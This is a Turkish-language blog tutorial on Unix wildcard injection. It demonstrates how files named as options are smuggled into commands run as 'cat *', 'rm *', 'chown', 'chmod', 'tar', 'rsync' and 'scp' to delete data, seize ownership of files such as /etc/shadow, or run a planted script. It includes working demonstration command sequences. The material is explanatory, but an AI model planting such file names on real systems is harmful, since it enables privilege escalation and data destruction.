Joker (Wildcard) Karakterlerin Olağan Dışı Kullanım Yöntemleri

Bir ifadeyi daha kapsamlı olarak ele almak için Joker (Wildcard) karakterler kullanılabilir. Bu karakterlerin bir takım kullanım şekilleri beklenmedik sonuçlar doğurabilir. Bu yazıda Joker karakterlerin özellikleri ve bazı hileli kullanım alanları incelenecektir.

Linux ortamında bazı Joker karakterler aşağıdaki gibi sıralanabilir:

  • Yıldız / Asterisk – “*”: Bir katardaki (dosya adı veya klasör adı olabilir) herhangi bir karakteri ifade eder. Örneğin, “ls Kod*.ps1” ifadesi o dizindeki “Kod” ile başlayan “.ps1” ile biten bütün nesneleri (“Kod.ps1” dahil) belirtir.
  • Soru İşareti – “?”: Bir katardaki tek bir karakteri ifade eder. Örneğin, “md5sum Test?” ifadesi o dizindeki “Test” ile başlayan ve sonrasında tek bir karakter ile biten bütün nesneleri belirtir.
  • Köşeli Parantez – “[]”: Bir katardaki eşleşen karakter kümesini ifade eder. Örneğin, “file Dosya[b-e]” ifadesi o dizindeki “Dosya” ile başlayan ve sonrasında “b”, “e” ve arasındaki karakterler ile biten nesneleri belirtir.
  • Tilde – “~”: Kullanıcının ev dizinini ifade eder.

 

Bu karakterler kullanılırken dikkat edilmemesi durumunda bazı beklenmedik sonuçlar elde edilebilir. Bu sonuçlar aşağıdaki başlıklarda incelenmiştir.

 

1) “cat” Aracı

“cat” komutu dosya okuma amaçlı kullanılır. “*” ile kullanıldığında ise ilgili kritere uyan dosyalar yazdırılır.

ls
cat Dosya1
cat Dosya2
cat BuDaDosya3
cat Dosya*
cat *

 

Bunun yanında yazdırılacak olan kapsamda “–help” adlı bir dosya varsa, “*” kullanıldığında “–help” bir dosya olarak değil bir parametre olarak yorumlanır ve yardım menüsü görünür.

echo “Aa123456” > –help
ls
echo *

 

2) “rm” Aracı

“rm” komutu nesne (dosya veya klasör) silme amaçlı kullanılır. “*” ile kullanıldığında ise ilgili kritere uyan nesneler silinebilir. Ancak “rm *” gibi ifadeler kullanıldığında klasörlerin silinemediği görülmektedir.

ls
rm Dosya1
ls
rm Dosya*
ls
rm *
ls
rm Klasor*
ls

 

Bunun yanında silinecek olan kapsamda “-rf” diye bir nesne varsa, “*” kullanıldığında “-rf” bir dosya olarak değil bir parametre olarak yorumlanır ve dizindeki “-rf” dosyası hariç tüm nesneler (klasörler dahil) silinir.

ls
echo “Deneme” > -rf
ls
rm *
ls

 

3) “chown” Aracı

“chown” komutu nesne (dosya veya klasör) sahipliğini belirleme amaçlı kullanılır. “*” ile kullanıldığında ise ilgili kritere uyan nesne sahipliği belirlenebilir.

ls -la
chown Ali:Burak Dosya1.txt
ls -la
chown Cemil:Derya Dosya*.txt
ls -la
chown Ebru:Fatih *
ls -la

 

Bunun yanında sahipliği belirlenecek olan kapsamda “–reference=Deneme.txt” ve “Deneme.txt” diye iki nesne varsa, “*” kullanıldığında “–reference=Deneme.txt” bir dosya olarak değil bir parametre olarak yorumlanır ve dizindeki “Deneme.txt” dosyasının sahibi diğer nesnelerin sahibi (Ali) olarak belirlenecektir.

ls -la
su Ali
id
echo “Merhaba” > –reference=Deneme.txt
echo “Dunya” > Deneme.txt
exit
ls -la
chown Burak:Cemil *
ls -la

 

Yukarıda da görüldüğü gibi, “chown -R Burak:Cemil *” gibi bir ifadenin çalıştırıldığı dizinde “–reference=Deneme.abc” ve “Deneme.abc” dosyaları varsa, bu komut “chown -R Burak:Cemil * –reference=Deneme.abc” olarak yorumlanır ve dizindeki tüm nesnelerin sahipliği “Deneme.abc” dosyasının sahibi olarak belirlenir. Hatta sembolik bir link ile /etc/shadow dosyası gösterilirse, Shadow dosyasının sahipliği de elde edilmiş olunur.

 

4) “chmod” Aracı

“chmod” komutu nesne (dosya veya klasör) erişim izinlerini belirleme amaçlı kullanılır. “*” ile kullanıldığında ise ilgili kritere uyan nesne erişim izinleri belirlenebilir.

ls -la
chmod 477 Dosya1
ls -la
chmod 4135 Dosya*
ls -la
chmod 400 *
ls -la

 

Bunun yanında erişim izni belirlenecek olan kapsamda “–reference=Deneme.xyz” ve “Deneme.xyz” diye iki nesne varsa, “*” kullanıldığında “–reference=Deneme.xyz” bir dosya olarak değil bir parametre olarak yorumlanır ve dizindeki “Deneme.xyz” dosyasının erişim izni (777) diğer nesnelerin erişim izni olarak belirlenecektir.

chmod 444 *
ls -la
su Ali
id
echo “Merhaba” > –reference=Deneme.xyz
echo “Dunya” > Deneme.xyz
chmod 777 Deneme.xyz
exit
ls -la
chmod -R 111 *
ls -la

 

Yukarıda da görüldüğü gibi, “chmod -R 111 *” gibi bir ifadenin çalıştırıldığı dizinde “–reference=Deneme.xyz” ve “Deneme.xyz” dosyaları varsa, bu komut “chmod -R 111 * –reference=Deneme.xyz” olarak yorumlanır ve dizindeki tüm nesnelerin erişim izni “Deneme.xyz” dosyasının erişim izni olarak belirlenir.

 

5) “tar” Aracı

“tar” komutu nesne (dosya veya klasör) arşivleme amaçlı kullanılır. “*” ile kullanıldığında ise ilgili kritere uyan nesneler arşivlenebilir.

ls -1
tar cf Arsiv_1 Dosya1
ls
tar cf Arsiv_1_2_3 Dosya*
ls

 

Bunun yanında arşivlenecek olan kapsamda “–checkpoint=1“, “–checkpoint-action=exec=sh betik.sh” ve “betik.sh” diye üç nesne varsa, “*” kullanıldığında “–checkpoint=1 –checkpoint-action=exec=sh betik.sh” iki dosya olarak değil bir parametre olarak yorumlanır ve “betik.sh” dosyası komutu çalışan kullanıcı yetkileri ile çalışır.

 

 

Yukarıda da görüldüğü gibi, “tar cf Arsiv *” gibi bir ifadenin çalıştırıldığı dizinde “–checkpoint=1”, “–checkpoint-action=exec=sh betik.sh” ve “betik.sh” dosyaları varsa, bu komut “tar cf Arsiv * –checkpoint=1 –checkpoint-action=exec=sh betik.sh” olarak yorumlanır ve dizindeki her 10 nesne arşivlendikten sonra “sh betik.sh” ifadesi çalıştırılır.

 

6) “rsync” Aracı

“rsync” komutu uzak veya yerel bilgisayarlara dosya transferi (senkronizasyonu) amaçlı kullanılır. “*” ile kullanıldığında ise ilgili kritere uyan nesneler transfer edilebilir.

ls
ls /tmp/
rsync Dosya1 localhost:/tmp/
ls
ls /tmp/
rsync Dosya* localhost:/tmp/
ls
ls /tmp/

 

Bunun yanında transfer edilecek olan kapsamda “-e sh betik.abc” ve “betik.abc” diye iki dosya varsa, “*” kullanıldığında “-e sh betik.abc” bir dosya olarak değil bir parametre olarak yorumlanır ve “betik.abc” dosyası komutu çalışan kullanıcı yetkileri ile çalışır.

ls
ls /tmp/
su Ali
id
useradd YeniHesap
grep “YeniHesap” /etc/passwd
echo ‘useradd YeniHesap’ > betik.abc
chmod +x betik.abc
echo “Merhaba” > -e\ sh\ betik.abc
exit
ls -la
id
rsync * localhost:/tmp/
ls
ls /tmp/
grep “YeniHesap” /etc/passwd

 

Yukarıda da görüldüğü gibi, “rsync * localhost:/tmp/” gibi bir ifadenin çalıştırıldığı dizinde “-e sh betik.abc” ve “betik.abc” dosyaları varsa, bu komut “rsync * localhost:/tmp/ -e sh betik.abc betik.abc” olarak yorumlanır ve “sh betik.abc” ifadesi çalıştırılır.

 

7) Diğerleri

Yukarıdaki örneklerin yanında başka kullanımlar da bu listeye eklenebilir. Örneğin;

  • “ls” Aracı: Listelenecek kapsamda “-la“, “-1” veya “-l” diye bir dosya varsa, “ls Dizin*” gibi bir ifadenin çalıştırıldığı dizinde bu komut “ls Dizin* -la” olarak yorumlanır ve nesneler detaylı olarak listelenir.
  • “scp” Aracı: Transfer edilecek kapsamda “-o ProxyCommand sh betik.abc” ve “betik.abc” diye iki dosya varsa, “scp * UzakHesap@10.10.10.10:/tmp/” gibi bir ifadenin çalıştırıldığı dizinde bu komut “scp * UzakHesap@10.10.10.10:/tmp/ -o ProxyCommand sh betik.abc” olarak yorumlanır ve “betik.abc” dosyası komutu çalışan kullanıcı yetkileri ile çalışır.

 

Kaynak:

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
https://www.exploit-db.com/papers/33930/
https://www.giac.org/paper/gcih/28104/attack-defend-linux-privilege-escalation-techniques-2016/152744
https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Lance-Buttars-Nemus-Hacking-SQL-Injection-for-Remote-Code-Execution-on-a-LAMP-UPDATED.pdf
https://cxsecurity.com/issue/WLB-2014060133

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.